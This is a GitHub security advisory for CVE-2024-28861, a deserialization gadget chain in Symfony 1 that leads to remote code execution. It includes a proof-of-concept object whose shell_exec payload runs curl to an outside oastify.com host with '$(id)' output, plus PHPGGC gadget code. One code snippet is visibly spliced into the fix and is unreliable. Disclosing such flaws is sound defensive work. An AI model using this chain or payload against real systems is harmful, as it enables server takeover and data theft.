GitHub Advisoryadvisory · Packagist

GHSA-pv9j-c53q-h433 Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder

MEDIUM Published 2024-03-22 Modified 2024-07-25 Official page ↗
Aliases
CVE-2024-28861
Ecosystem
Packagist
Packages
friendsofsymfony1/symfony1
Severity
Moderate
Weaknesses
CWE-502
Reviewed
2024-03-22

Affected packages

• Packagist friendsofsymfony1/symfony1: >= 1.1.0, < 1.5.19 → fixed in 1.5.19

Description

Summary Symfony 1 has a gadget chain due to dangerous unserialize in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer unserialize user input in his project. Details This vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example: ```php public function executeIndex(sfWebRequest $request) { $a = unserialize($request->getParameter('user')); } ``` We will make the assumption this is the case in the rest of this explanation. Symfony 1 provides the class `sfNamespacedParameterHolder` which implements `Serializable` interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing `unserialize()` method: ```php public function unserialize($serialized) { $this->__unserialize(unserialize($serialized)); } ``` Which make an array access on the deserialized data without control on the type of the `$data` parameter: ```php public function __unserialize($data) { $this->default_namespace = $data[0]; $this->parameters = $data[1]; } ``` Thus, an attacker provide any object type in `$data` to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on `$data[0]` for any class implementing `ArrayAccess` interface. `sfOutputEscaperArrayDecorator` implements such interface. Here is the call made on `offsetGet()`: ```php public function offsetGet($offset) { $value = isset($this->value[$offset]) ? $this->value[$offset] : null; return sfOutputEscaper::escape($this->escapingMethod, $value); } ``` Which trigger `escape()` in `sfOutputEscaper` class with attacker controlled parameters from deserialized object with `$this->escapingMethod` and `$this->value[$offset]`: ```php public static function escape($escapingMethod, $value) { if (null === $value) { return $value; } // Scalars are anything other than arrays, objects and resources. if (is_scalar($value)) { return call_user_func($escapingMethod, $value); } ``` Which calls `call_user_func` with previous attacker controlled input. PoC So we need the following object to trigger an OS command like `shell_exec("curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)");`: ```php object(sfNamespacedParameterHolder)#4 (1) { ["prop":protected]=> object(sfOutputEscaperArrayDecorator)#3 (2) { ["value":protected]=> array(1) { [0]=> string(66) "curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)" } ["escapingMethod":protected]=> string(10) "shell_exec" } } ``` We craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before: • gadgets.php: ```php class sfOutputEscaperArrayDecorator { protected $value; protected $escapingMethod; public function __construct($escapingMethod, $value) { $this->escapingMethod = $escapingMethod; $this->value = $value; } } class sfNamespacedParameterHolder implements Serializable { protected $prop = null; public function __construct($prop) { $this->prop = $prop; } public function serialize() { return serialize($this->prop); } public function unserialize($serialized) { } } ``` • chain.php: ```php namespace GadgetChain\Symfony; class RCE16 extends \PHPGGC\GadgetChain\RCE\FunctionCall { public static $version = '1.1.0 default_namespace = $data[0]; $this->parameters = $data[1]; } else { $this->default_namespace = null; $this->parameters = array(); // or throw an exception maybe? } } ``` This fix should be applied in both `sfNamespacedParameterHolder` and `sfParameterHolder`.

Related

Alias · CVE (1)

  • CVE-2024-28861 Symfony 1 is a community-driven fork of the 1.x branch of Symfony, a PHP framework for web projects. vulnerability

Weakness · CWE (1)

  • CWE-502 Deserialization of Untrusted Data weakness

References